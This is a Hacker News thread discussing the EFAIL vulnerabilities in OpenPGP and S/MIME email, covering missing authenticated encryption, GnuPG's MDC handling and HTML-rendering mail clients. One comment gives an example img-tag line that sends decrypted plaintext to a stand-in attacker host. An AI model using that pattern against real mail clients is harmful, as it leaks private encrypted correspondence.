EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME

https://efail.de/

by Foxboron • 8 years ago

718 263 8 years ago

efail.de

dimastopel• 8 years ago

Robert Hansen just sent the following email to the gnupg-users list:

to GnuPG-Users

[taps the mike]

Hi. I maintain the official GnuPG FAQ. So let me start off by answering a question that is certainly about to be asked a lot: "Should we be worried about OpenPGP, GnuPG, or Enigmail? The EFF's advising us to uninstall it!"

https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne...

Werner saw a preprint of this paper some time ago. I saw it recently. Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of respect for the paper authors I will skip further comment until such time as the paper is published.

It would've been nice if EFF had reached out to us for comment, rather than apparently only talking to the paper authors. We hope they'll reach out next time.

patoh• 8 years ago

Werner Koch goes into further detail at the start of the gnupg-users thread @ https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

sambe• 8 years ago

I'm reading this message with little context but it doesn't strike me as having reasons not to be worried. The two suggestions are: a) not to use HTML emails, which seems unlikely in practice; b) to use an obscure-sounding mode which has been implemented in such a way as to depend on the MUA doing multiple things correctly after the GPG code runs.

What am I missing here? Is the latter mode on by default and MUA are widely known to correctly deal with the error code in a secure way?

ipioxu15• 8 years ago

Also discussed here: https://news.ycombinator.com/item?id=17063109

egeozcan• 8 years ago

If I understood correctly, I think this can be prevented by a single configuration change: "Do not automatically load inline content" but this is just speculation.

I'd disable HTML rendering completely until everything becomes clearer.

gant• 8 years ago

Pretty much. Should have that as default anyway to avoid sending tracking beacons to spammers.

Tepix• 8 years ago

Yes, I think that's the default pretty much everywhere for obvious reasons.

Of course some people configure exceptions for people in their address book, this could then be exploited by this issue.

dbrgn3• 8 years ago

In the explanation of Table 5 in the paper (page 21), there's a list of attack vectors with the title "HTML attributes (bypasses for remote content blocking)". So apparently some of these attributes do bypass the inline content blocking on some mail clients, unless I read that wrong. It's important to note that most e-mail clients will use a webview to render e-mail. Blocking all kinds of remote content requires the developers to be really careful, and also probably violates the HTML spec.

I tried to replicate the Thunderbird attack vector (H₂), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version?

Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail.

(Edit: Added a sentence regarding webviews)

oblio• 8 years ago

While HTTPS is taking over web traffic, encrypted email could be considered a failure, at this point. I wonder what percentage of emails are encrypted using GPG. Based on my experience it's probably less than 0.001%.

simias6• 8 years ago

PGP and HTTPS have very different trust models so it's comparing apples to oranges. That being said I agree that PGP failed to gain widespread adoption even though I personally use GnuPG daily and sign all of my emails. I'm still hoping that it'll make a comeback but I'm not holding my breath.

jcims• 8 years ago

S/MIME uses a trust model similar to HTTPS, is built in to most clients and still has almost zero adoption.

I think the issue is that HTTPS is a pain in the ass for a few, while encrypted email is a pain in the ass for everyone. Between client cert distribution to wonky webmail support to escrow challenges for regulated orgs it requires deliberate effort for all parties forever.

zaarn2• 8 years ago

E-Mail needs better tools and better standards than GPG IMO.

For one, GPG tools are difficult to use. Anything beyond a simple 1-click-setup-ready-to-use-including-keyserver-publication will make any wide market adoption difficult.

On the other, the GPG standard is a bit ... clunky. Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own. I imagine other, similar, improvements could be made, up and including having GPG also sign the email headers before pushing it out into the world.

AnaniasAnanas2• 8 years ago

GPG is not a standard, the standard is OpenPGP.

As for the tools, they seem very easy, especially engimail which IS 1-click setup.

add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own

This is exactly what it is doing. PGP/MIME is a thing.

lmm2• 8 years ago

Better tools yes, better standards no. There isn't a single production-quality library implementation of the OpenPGP standard; anyone who uses OpenPGP in production ends up with some variant on a crappy 700-line python script wrapping the GPG executable. (There are dozens or hundreds of those out there, every company has their own). I'll never understand what possesses people who aren't up to writing a solid library implementation of the existing standard to believe that they would be capable of coming up with a better new standard, but it's distressingly common.

Error reporting in email clients that support OpenPGP is awful because they all work by some variant of exec-ing the GPG process and piping its input/output, so half the time you'll try to set up PGP and it just won't work. Even when it does work, no extant mail program has yet reached the level of having an actual UI/UX designer spend even a couple of months of work actually trying to make the PGP experience a good one - and why would they when no-one's prepared to pay for it? Security professionals are willing to work for free on things like security audits of the GPG code, because you can get a conference paper out of that, but there's no corresponding channel for usability work.

Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own.

PGP/MIME already does this. We don't need a new standard. We need to get better at using the standard we have.

pjc50• 8 years ago

As Let's Encrypt showed, this is all about usability.

m_eiman• 8 years ago

Let's encrypt wouldn't be nearly as widely used if browsers didn't require https for a lot of new features people want to use, though. And Google will lower the ranking of non-https sites soon, if they haven't already.

Having Let's encrypt available as a free option lets the browser makers force web services to use https, since "anyone can add it, it's free! (Never mind the increased complexity and even more things that can fail and break things in weird ways)".

I suppose it'd be harder to do something similar with email.

rocqua11• 8 years ago

/Donns alufoil hat

Google likes HTTPS, it makes the web safer, and keeps middle-boxes from interfering with their stuf.

However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.

Gmail is essentially e-mail for a lot of people, so what they do matters.

arm• 8 years ago

“However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.”

Absolutely. As mentioned in this¹ article:

“Though Google announced that it would stop using consumer Gmail content for ad personalization last July, the language permitting it to do so is still included in its current privacy policy, and it without a doubt still scans users emails for other purposes. Aaron Stein, a Google spokesperson, told NBC that Google also automatically extracts keyword data from users’ Gmail accounts, which is then fed into machine learning programs and other products within the Google family. Stein told NBC that Google also “may analyze [email] content to customize search results, better detect spam and malware,” a practice the company first announced back in 2012.”

――――――

¹ — https://theoutline.com/post/4524/remember-when-google-said-i...

r3bl• 8 years ago

HTTPS means encryption in transit.

Email are also encrypted in transit (almost) universally.

Encryption in transit has absolutely nothing to do with keeping the data hidden from the service you're visiting.

endorphone• 8 years ago

The majority of email is encrypted in transit (https://transparencyreport.google.com/safer-email/overview?h...), so from a third-party-watching perspective it is equivalent to HTTPS.

simias6• 8 years ago

So they gave up on the embargo or something? I thought it was supposed to be revealed tomorrow. It's for the best I suppose. I cringed a bit at the custom "efail.de" domain name though, that's so 2017.

adsche• 8 years ago

They claim their embargo was "broken" [1]. Maybe by this tweet [2] from GnuPG trying to clarify in what way PGP/GPG are "vulnerable."

[1] https://twitter.com/seecurity/status/995964977461776385

[2] https://twitter.com/gnupg/status/995931083584757760

tazjin2• 8 years ago

This hardly seems like an OpenGPG or S/MIME vulnerability to me and more like an XSS-like exploit of email clients.

maxerickson3• 8 years ago

The encryption system should be saying "BAD MESSAGE" to the client and instead it is saying "Here's the message and some malware".

jerf2• 8 years ago

I disagree. The encryption system should not know about HTML, and these messages are "BAD MESSAGE"s even if they are unencrypted. That clearly points at the mail client, not the encryption layer.

spacenick884• 8 years ago

It really also just shouldn't support unauthenticated encryption at all. And with authenticated encryption I mean something like chacha20-poly1305 or AES-GCM that gives you authentication on small chunks so it can give the "BAD MESSAGE" output when decrypting from a pipe.

cromwellian2• 8 years ago

I see how this can be used to exfiltrate an email you’ve sent to others, but th exploit doesn’t seem to show how to exfiltrate private emails between other parties. I mean, it’s an interesting bug, but since the only I can exfiltrate is the contents of plaintext I sent you in the same exploit then it doesn’t seem to leak anything other than any HTML email does.

Am I missin something?

geocar• 8 years ago

Sure. Assume you're a state-actor who wants to read someone's email. You can force their ISP to add code to their SMTP server that adds an efail-pixel jacket, but you can't force them to turn over the customer keys.

cromwellian2• 8 years ago

Ah ok, I see, it’s kind of a replay attack. Seems like SMIME itself is broken because it doesn’t do whole message integrity.

onlydnaq• 8 years ago

If I want to decrypt a message to you that I have intercepted I can create my own email containing a modification of the intercepted message and send it to you, causing you to send me the plaintext contents.

usrusr• 8 years ago

That's my understanding as well. Someone could try to make your email client img-src-get the plaintext of previously intercepted mails to a remote server, but it would be a very "noisy" attack: your typical PGP user would very quickly fall into a panic if they received all their old encrypted mail again, and for some reason the client would constantly beg for external image downloads in apparently plain text mails.

mehrdadn3• 8 years ago

Tangent:

Is it just me or does CBC (and block ciphers in general) always seem to be a troublemaker? Even if it's not directly at fault, it seems to always make everything more difficult to secure, and I don't recall ever having heard of a single benefit gained by using them. Why do people insist on using block ciphers instead of stream ciphers? What benefits do they have?

rocqua11• 8 years ago

I heard once that people didn't like the regularity of the input of CTR mode. That might be why people back in the day preferred CBC.

These days, the big downside to stream-ciphers is nonce-reuse. It can be hard to guarantee each message has a separate nonce on e.g. embedded platforms.

mehrdadn3• 8 years ago

How can embedded platforms generate IVs but face trouble generating nonces? Aren't IVs also nonces? Or do you mean a different aspect of it is the problem?

baby6• 8 years ago

No I wouldn't say that block ciphers are trouble makers in general. Look at RC4 and how badly broken it was. CBC is a mode of operation which works fine, what was fucked in a number of places was the authentication part which is why we don't ship ciphers without authentication nowadays (look at the CAESAR competition for authentication encryption). Stream ciphers without authentication are way easier to exploit that a number of other mode of operations for block ciphers.

spacenick884• 8 years ago

I think the really broken thing is not using authenticated encryption ever. In 2018 no one should be using a non-authenticated cipher for anything except teaching about bad ideas.

tptacek30• 8 years ago

It's not block ciphers versus stream ciphers. CFB mode is a stream cipher and is implicated in this attack. CTR, the canonical stream cipher, is even more malleable than CBC.

The problem is authenticated versus non-authenticated ciphers. CBC, CTR, and CFB are non-authenticated cipher designs. EAX, GCM, and OCB are authenticated designs.

mehrdadn3• 8 years ago

Thank you!!

e12e4• 8 years ago

I've always had S/mime in the back of my mind as an alternative for intranet/internal secure messaging (with optional escrow/archiving) - the assumption being that users would all have certs, there'd be a directory (ldap) - and things would be ok-is(granted metadata would be an issue). Never had i dreamt that S/mime didn't use a sane authenticated cipher configuration (if only by public key signature wrapping traditional ciphertext).

I mean that was the whole concept of S/mime, right? Federated key/trust and public key cryptography?

fabian2k• 8 years ago

From what I've read, I thought that in modern cryptographic methods you always authenticate and encrypt, in part to avoid attacks like this where an attacker can modify the encrypted message in some way.

Does this mean that GnuPG and S/MIME don't authenticate/sign encrypted messages at all? Or that email clients still try to display encrypted messages that are not properly authenticated?

AnaniasAnanas2• 8 years ago

OpenPGP does have a way to authenticate the messages, see https://tools.ietf.org/html/rfc4880#section-5.13.

dewyatt• 8 years ago

Also tag 20 is the newer AEAD method: https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04...

baby6• 8 years ago

Yup, they don't authenticate encrypted mails.

Promarged• 8 years ago

The bug would work only if all of these are true:

  - only-encrypted (not signed) message (signing is good practice),
  - clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)
  - client that rendered HTML mail with broken markup,
  - client that automatically fetches remote resources.

tl;dr this is a very narrow case

jwilk3• 8 years ago

It doesn't matter if the message was signed or not:

https://efail.de/#will-signatures

A1kmm2• 8 years ago

only-encrypted (not signed) message (signing is good practice),

Or the client decrypts it even if unsigned, or the attacker signs the message.

clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)

I think the client would not only need to use MDC, but also enforce its presence and validity, which is somewhat more likely to allow an attack.

client that rendered HTML mail with broken markup,

The HTML5 specification defines exactly how HTML inputs should be processed for nearly every possible input, so this applies to any HTML5 compliant email client.

client that automatically fetches remote resources

I have this turned off in my client, but many email users these days (possibly even those using GPG) have settings to automatically download remote content.

FrantaH2• 8 years ago

"To decrypt the emails, he first manipulates their ciphertext by using appropriate malleability gadgets." - so if you use triple wrapping as per https://www.ietf.org/rfc/rfc2634.txt you are safe. e: To make the claim more precise: you must drop messages which are not triple wrapped and those which are triple wrapped, but inner signer is different from the outer signer.

foo101• 8 years ago

From the original article:

EFAIL describes vulnerabilities in the end-to-end encryption technologies OpenPGP and S/MIME that leak the plaintext of encrypted emails.

I don't understand how this is being touted as vulnerabilities in OpenPGP and S/MIME.

Sure there is undefined behavior in the OpenPGP and S/MIME standards but if implementations choose an insecure behavior for the undefined behavior, then it is a flaw in the implementation, not the standard.

giancarlostoro• 8 years ago

It's been mentioned by other comments here[0] that the team / group / individual(s) behind this paper didn't even contact the underlying development teams prior to publishing. The whole thing looks like they want to be able to say "yeah we uncovered xyz vulnerability" which they kind of could of, if they had just explained it's relevant to implementation and didn't attack the wrong projects in the process. There seems to be some level of unprofessional conduct[1] coming from the people writing the paper as well where they attack the projects on Twitter to try and silence them when their claims are refuted.

[0] https://news.ycombinator.com/item?id=17064360

[1] https://twitter.com/seecurity/status/995936859980222464

(Note: I'm reiterating / summarizing the findings of AnaniasAnanas from here.)

tptacek30• 8 years ago

This is false, and you should be embarrassed to have repeated it publicly.

If you'd even taken the time to look at the Efail.de website, you'd see the (extensive) timeline of contacts the Ruhr team made, including liasing with CERT teams, starting last year.

Dylan168072• 8 years ago

The use of CBC without proper authentication sounds like a flaw in the standard to me. Especially the line in the FAQ about being able to create a fresh valid signature for an altered ciphertext is not good.

slrz2• 8 years ago

The "create a fresh valid signature" part talks about creating a new signature with the attacker's identity. Sure, technically it's a valid signature but it won't fool anyone regarding the message's authenticity. This is trivially possible for all schemes where you can detach the signature from the message.

johnboyer• 8 years ago

Aren't the point of the standards to ensure there is no room for security holes? It seems kind of strange to make the security dependant on the implementation. Imo, it should be impossible to implement the standard in an insecure way.

rocqua11• 8 years ago

This isn't undefined behavior. This is malleability. Attackers get to change some parts of the plain text without needing to know the encryption key.

This is very much an issue with the S/MIME standard, which has no defence against this kind of attack. For PGP it is slightly different, as there is a defense against it (the 'MDC', a sha-1 hash of the plaintext) but it has a soft-fail if the MDC is not present.

Both are issues with the standard. For S/MIME it is a total failure, whilst for PGP the failure is mitigated slightly by an obscure and non-urgent error message. But, it is unreasonable to expect users to act on this kind of error message. Really, what you want here is a hard fail, but that would break backwards compatibility.

tonetheman• 8 years ago

Does every attack now get some type of catchy name? It feels like when the weather channel randomly said they would start naming storms too.

mkj• 8 years ago

Huh, PGP encrypted messages aren't authenticated? (No HMAC etc)

consp2• 8 years ago

Most clients incorporate Authenticated Encryption but since some don't work well with it, it is not a decrypt failure if not present. It should be and solves the problem as per what Koch said [1].

[1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

A1kmm2• 8 years ago

If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret.

GPG does optionally support signing, which provides for integrity for message contents, but it is optional, so is not a useful mitigation here.

It supports a Modification Detection Code (MDC), which is just a hash of the message. In scenarios where GPG won't decrypt without an MDC being present, it would be a reasonable defence against this attack, because to generate a valid MDC, you would need to know the entire contents of the message, and if you know the entire contents of the message, you wouldn't gain anything from this attack.

CiPHPerCoder• 8 years ago

If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret.

No, they don't. I described a naive RSA+AES hybrid cryptosystem here that includes HMAC authentication without a pre-shared key: https://paragonie.com/blog/2018/04/protecting-rsa-based-prot...

floatboth2• 8 years ago

optional, so is not a useful mitigation here

Why in the heck does anyone ever send encrypted-only, non-signed messages?!?!

kennell• 8 years ago

As if a brand name, logo and website were not enough, even the white paper title is cringy clickbait: "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels".

OpenPGP is not broken. Nothing in your paper has anything to do with OpenPGP. This is simply spreading overblown FUD for your 15 minutes of mainstream media fame.

simias6• 8 years ago

I don't even understand why they needed to tease the thing one day in advance with measures that were so weird that nobody knew what to expect. "Stop decrypting email", right, super convenient and totally appropriate given the actual vulnerability. Next time maybe they'll say "don't touch your mouse until further notice". What difference would it have made if they had simply published this website straight away? Seemed like they were releasing the teaser for the next Captain America movie or something.

This reminds me a bit of the "amdflaws" debacle, although that one was even shadier and might have been an attempt at manipulating AMD's stock price.

mtremsal• 8 years ago

The comparison with amdflaws seems unfair. My understanding is that while they demonstrate a flaw in some email clients, it would be enough for an attacker to exploit one vulnerable target amongst the recipients to retrieve the plaintext email. Given that one cannot confirm whether others have taken appropriate steps, this vulnerability seems serious enough, no?

tptacek30• 8 years ago

This is the best crypto attack of the year. Anyone calling it "cringy clickbait" is saying more about themselves than about the work.

bhhaskin• 8 years ago

But it isn't a crypto attack at all. Gpg is doing what it is supposed to do, and the overall cryptography is not effected. It's bad clients that are the problem.

digi_owl• 8 years ago

The more news i read from _sec, the more they remind me of the cracking groups of the micro era...

Sir_Cmpwn2• 8 years ago

Even setting aside that this is an excellent example of how toxic the security community is, the real problem here is that HTML email is a steaming pile of crap. The number of vulnerabilities introducted by the mind bogglingly stupid idea of putting HTML in emails is staggering. You're better off only reading plaintext emails and sending the rest to /dev/null. Bonus: this gets a good deal of spam out of your inbox!

colemannugent• 8 years ago

Yeah, whoever thought that adding the attack/bug surface of a browser to the email client should be publicly shamed.

I assume that aerc like mutt is not affected by this "vulnerability"?

Tyr42• 8 years ago

Yeah, mutt is safe

https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large

Sir_Cmpwn2• 8 years ago

Aye.

noguespi3• 8 years ago

A lot of buzz for a not so critical vulnerability. Well it is critical but very hard to exploit because :

1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client.

Still an important vulnerability, but not enough (for me) to disable enigmail, I know I'm safe with blocked remote content.

By the way I hate this kind of "buzz" disclosure. Just disclose fully or wait.

middleclick2• 8 years ago

I know I'm safe with blocked remote content.

Curious, how?

noguespi3• 8 years ago

Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker.

Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--

If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.

Anyway, the attacker still need to get a hand on your encrypted email.

jowsie• 8 years ago

Because the method used relies on accessing remote content.

tlogan• 8 years ago

The problem is that decrypting software will do: "Here's the message and some 'extra stuff'".

Now, this 'extra stuff' might not be HTML, might be something which might trigger something else. I really do not know but some smart guy might figure out how to exploit that part. Or might not.

tptacek30• 8 years ago

Encrypted mail that only works when attackers can't intercept your mail might just as well not be encrypted.

noguespi3• 8 years ago

You won't be able to decrypt email just by intercepting them

JoachimSchipper• 8 years ago

It's not exactly PGP's security model, but: - if you use SMTP-via-TLS and (IMAP/POP/MAPI)-via-TLS, attackers really can't intercept your mail - unauthenticated encryption still protects your mail spool at rest.

Of course, attackers gaining access to your mailbox is still game over, due to password resets etc. via e-mail; but "attackers can't intercept your mail" is a more realistic assumption in 2018 than it was when PGP was designed.

spacenick884• 8 years ago

Also in many (sensible) configurations the PGP key will be locked when not reading encrypted mails and will need a fresh password entry

baby6• 8 years ago

Matt Green gave a pretty good summary of this: https://twitter.com/matthew_d_green/status/99598925414360678...

Some of these thoughts are echoed by Filippo:

No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error.

from https://twitter.com/FiloSottile/status/996010161427935233

So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke?

As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.

aepiepaey• 8 years ago

So what would you expect GPG to do when invoked to operate on a pipe (rather than a file¹)? Buffer (possibly) gigabytes of decrypted data in memory, just to be able to discard it once DECRYPTION_FAILED is detected?

¹: where GPG does the right thing

tptacek30• 8 years ago

Yes. It has one job!

Xylakant5• 8 years ago

Aren’t modern ciphers checksummed and authenticated blockwise? If so, you could just abort the moment you see a broken block. Anything before that block would not be under the attackers control and harmless.

sp332• 8 years ago

Relevant comment from Werner Koch: https://twitter.com/FiloSottile/status/996011473112576000

Either GPG buffers the data and checks for DECRYPTION_FAILED, or the application depending on GPG does. Of the two options, it makes much more sense for GPG to handle this.

eigengrau• 8 years ago

It might be prudent to have GnuPG return an error exit code instead of just printing a warning on stderr. Currently, it seems that clients (at least when using the shell interface) are supposed to parse the error stream. And even when they do (which many probably don’t), it’s not necessarily obvious that the presence of warnings indicates to the client that the data should not be used.

shinigami7• 8 years ago

It should split it in chunks and authenticate each one of them. Then the worst attack would be the ability to truncate the file, and it could be at least detected.

Unfortunately this is not supported by the PGP spec, or any other well established spec.

julian37• 8 years ago

It could also buffer the ciphertext, doubling CPU time but meaning that message size is constrained by disk space rather than available RAM.

Natanael_L4• 8 years ago

Yes. Show me the right message or nothing at all.

segmondy• 8 years ago

Just curious, why didn't you submit a patch?

jakobegger• 8 years ago

Not the OP, but finding a vulnerability is a very different skill compared to fixing a vulnerability.

baby6• 8 years ago

I can't remember but I was probably too swamped back then, I should do it though.

scandox• 8 years ago

I think what people are saying is that this has been represented as an intrinsic flaw in PGP and that this may cause the media to basically say PGP is broken.

I agree that this is significant because it affects many users and the potential effect is extremely negative.

On the other hand if the headlines on this were more focused I think people on HN would not have reacted so negatively.

baby6• 8 years ago

When almost all implementation of PGP are broken, can we say PGP is broken?

dangerface• 8 years ago

No, in CURRENT_YEAR you don't get to not handle errors, and blame the api when theres errors.

eyeareque2• 8 years ago

It’s known that remote image loading is bad. Why is this even enabled? I think they get a pass on this, it’s definitely a bit over blown.

rocqua11• 8 years ago

The issue is apparently that pgp outputs the plain text to a pipe before checking the MAC in the message. Instead, they provide an error code when the MAC doesn't fail. Apparently a lot of implementations don't check for this error. In general, this leads to message malleability. Malleability is always bad. It just so happens that in this example, they used malleability to sneak in <img> tags.

So the issue here is that PGP outputs plain text even when the message fails the MAC check.

titzer• 8 years ago

Is this vulnerability seriously due to improperly escaped (quoted) inputs? Correct me if I am wrong, but FFS.

jcranmer2• 8 years ago

Pretty much.

This is the big fail of MIME, that literally concatenating different sections together into one document is the intended way of implementing much of multipart handling.

_bxg1• 8 years ago

The fact that emails can contain images and active HTML has caused a slurry of security problems over the years.

Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.

acdha• 8 years ago

Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.

This approach requires too much diligence for most cases: people will forget to switch to the encrypted system, they won’t have a key / it’s expired because they don’t use it regularly, the software will remain horrible because nobody uses it, etc. Encryption needs to be enabled and usable by default if you don’t want a regular stream of human error.

testcross• 8 years ago

Even protonmail says the authors were not responsible by letting EFF communicating so strongly...

https://mobile.twitter.com/ProtonMail/status/996006094605570...

jwilk3• 8 years ago

Non-mobile link:

https://twitter.com/ProtonMail/status/996006094605570048

gepeto42• 8 years ago

Encryption plugins on top of other mail clients has always been a recipe for disaster.

That being said, why would EFF tell people to completely uninstall it? When I hear that, I think "There is a crazy, in the wild, no user interaction needed remote code execution vulnerability". If someone had a use for PGP/GPG email (assuming they understand the threat model and the metadata that is not encrypted), surely they're better off with a buggy version that with pure cleartext?

deong2• 8 years ago

I believe the recommendation is to use something like Signal or iMessage -- an end-to-end encrypted channel that isn't email.

gsnedders• 8 years ago

And which have perfect forward secrecy, which PGP will never have without adding some new per-message communication between the two parties (which would totally violate the layering on top of email).

bscphil• 8 years ago

Surely, telling users to uninstall it was a temporary measure until they can be certain that the bug is fixed. Without it removed, there was a risk that users could be quickly targeted with previously captured replayed messages and if their clients automatically decrypt then it would in fact be a disclosure vulnerability with no user interaction needed.

fouc• 8 years ago

TIL: I should be using Mutt.

tc• 8 years ago

Let's summarize the situation:

Abstract: S/MIME and MUAs are broken. OpenPGP (with MDC) is not, but clients MUST check for GPG error codes. Use Mutt carefully or copy/paste into GPG for now.

- Some mail clients concatenate all parts of a multipart message together, even joining partial HTML elements, allowing the decrypted plaintext of an OpenPGP or S/MIME encrypted part to be exfiltrated via an image tag. Mail clients shouldn't be doing this in any world, and can fix this straightforwardly.

- S/MIME (RFC 5751) does not provide for authenticated encryption, so the ciphertext is trivially malleable. An attacker can use a CBC gadget to add the image tag into the ciphertext itself. We can't expect a mail client to avoid exfiltrating the plaintext in this case. S/MIME itself needs to be fixed (or abandoned).

- OpenPGP (RFC 4880) provides for authenticated encryption (called "MDC", see sections 5.13 and 13.11 of the RFC) which would prevent a similar CFB-based gadget attack if enforced. GPG added this feature in 2000 or 2001. If the MDC tag is missing or invalid, GPG returns an error. If GPG is asked to write the plaintext as a file, it will refuse. When the output is directed to a pipe, it will write the output and return an error code [1]. An application such as an MUA using it in this manner must check for the error code before rendering or processing the result. It seems this requirement was not made clear enough to implementors. The mail clients need to release patches to check for this error. This will create an incompatibility with broken OpenPGP implementations that have not yet implemented MDC.

- Even without clients enforcing or checking the authentication tag, it's a bit trickier to pull off the attack against OpenPGP because the plaintext may be compressed before encryption. The authors were still able to pull it off a reasonable percentage of the time. Section 14 of RFC 4880 actually describes a much earlier attack which was complicated in this same manner; it caused the OpenPGP authors to declare decompression errors as security errors.

Net-net, using encrypted email with Mutt is safe [2, Table 4], though even there, opening HTML parts encrypted with S/MIME in a browser is not, and double-checking how it handles GPG errors would be prudent before forking a browser on any OpenPGP encrypted parts. See the paper for other unaffected clients, including Claws (as noted below) and K-9 Mail (which does not support S/MIME). Otherwise, it's probably best to copy and paste into GPG (check the error code or ask it to write to a file) until this is worked out.

[1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

[2] https://efail.de/efail-attack-paper.pdf

orivej• 8 years ago

Use Mutt carefully or copy/paste into GPG for now.

According to [1], Claws Mail is also unaffected. I don't know if it was tested with or without its HTML plugin, but this should make no difference as long as the plugin is not configured to access remote resources. (By default it can not make network requests.)

https://twitter.com/matthew_d_green/status/99599862678571417...

FrantaH2• 8 years ago

Check RFC2634 before you abandon S/MIME. Triple wrapping solves surreptitious forwarding, which is how this attack works. Sadly AFAIK it's implemented only in Trustedbird.

jwildeboer2• 8 years ago

“If GPG is asked to write the plaintext as a file, it will refuse. When the output is directed to a pipe, it will write the output and return an error code”

I honestly don’t care about the rationale, but this inconsistent behaviour is simply wrong. After 18 years of discussion, end this. Whenever DECRYPTION_FAIL occurs, there MUST be no decrypted content.

dfabulich3• 8 years ago

That's not really compatible with piped output. The encrypted message can't be authenticated until it has been completely processed, but the whole point of piping is to output bytes as soon as they're available.

Perhaps the moral of this story is to disable GPG's pipe feature? But it's a legitimate and significant performance improvement for authentic messages. You "just" have to remember to check the error code and it's fine/safe.

Perhaps that's just too much to ask. Maybe we just can't have fast streaming decryption because it's too hard for client developers to use safely. But that point of view is at least not obvious.

(On the other hand, what were you planning to do with the piped output in the first place? Probably render it, right? If GPG clients stream unauthenticated bytes into a high-performance HTML renderer, the result will surely be efail.)

mirimir2• 8 years ago

OK, so Thunderbird plus Enigmail is probably most popular in Linux. And according to Robert J. Hansen:[0]

By default, GnuPG will scream bloody murder if a message lacks an MDC or if the MDC is invalid. At that point it's up to your email client to pay attention to the warning and do the right thing. Enigmail 2.0 and later are fine, but I can't speak for other systems.

So if you use Enigmail, do make sure that you're not at v1.99. Just get the add-on in Thunderbird.

Also, of course, make sure that external resources aren't being fetched.

0) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

Edit: Oh, but damn. There's more in that thread. Enigmail >v2 can be forced to decrypt with MDC missing.[1] And this is a gpg bug:[2]

... and Patrick, moving faster than the speed of light, already has the bug triaged and bounced back. This is actually a GnuPG bug, not an Enigmail bug. ...

However:[3]

It's worth noting, incidentally, the #Efail attack flat-out requires MIME. So inline PGP messages are not vulnerable, as there's no MIME parsing pass which can be exploited. So you're still safe, although this is still a bug that should be fixed. ;)

I also saw something about it requiring HTML decoding, but can't find it again :(

1) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

2) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

3) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

More: Yes, disable HTML rendering. In Thunderbird, select "/ View / Message Body As / Plain Text".

And:[4]

The EFAIL attacks break PGP and S/MIME email encryption by coercing clients into sending the full plaintext of the emails to the attacker. In a nutshell, EFAIL abuses active content of HTML emails, for example externally loaded images or styles, to exfiltrate plaintext through requested URLs. To create these exfiltration channels, the attacker first needs access to the encrypted emails, for example, by eavesdropping on network traffic, compromising email accounts, email servers, backup systems or client computers. The emails could even have been collected years ago.

So basically, 1) the attacker embeds a link to the encrypted message, 2) the email client fetches and decrypts it, and then 3) sends plaintext back to the attacker.

4) https://lists.cpunks.org/pipermail/cypherpunks/2018-May/0421...

ms7821b• 8 years ago

So basically, 1) the attacker embeds a link to the encrypted message, 2) the email client fetches and decrypts it, and then 3) sends plaintext back to the attacker.

What? The attacker embeds secure content inside a link, not a link to the content. It could come from files stored in a public place or emails.

kbumsik• 8 years ago

The EFAIL attacks require the attacker to have access to your S/MIME or PGP encrypted emails.

So the attacker needs to intercept email, but how they can access it?

codezero• 8 years ago

Has anyone seen a tool that will go through a mailbox and check for this attack? I'm really curious if anyone can find an example of this in the wild before publication.

tptacek30• 8 years ago

This is the worst reaction to a serious and interesting vulnerability I think I've ever seen on HN.

The problem being exploited today is that PGP isn't properly authenticated. PGP has an authenticator, but it's simply the SHA-1 of the plaintext appended to the message. Since even that SHA-1 was a later addition to the protocol, mainstream PGP implementations will process messages that lack the hash and decrypt the message. This is broken: a basic property of modern authenticated cryptography is not to present plaintext to the caller until integrity is checked. There are modern AEAD constructions that go through contortions to obtain that property.

The attack is trivial and obvious in retrospect. Attackers strip off the SHA-1 authenticator of a message and then flip bits in the ciphertext to inject HTML that, when rendered, exfiltrates plaintext.

The GPG project objects to the way this attack is characterized. If you strip the SHA-1 hash off a message, GPG will print a warning. But popular mainstream GPG clients don't honor that warning, which doesn't say "Stop, don't process this plaintext I am showing you", but rather "message was not integrity protected". The fact is, there isn't 1 cryptography engineer in 10 that knew exactly what GPG's behavior with a stripped MDC was or how they should check for it.

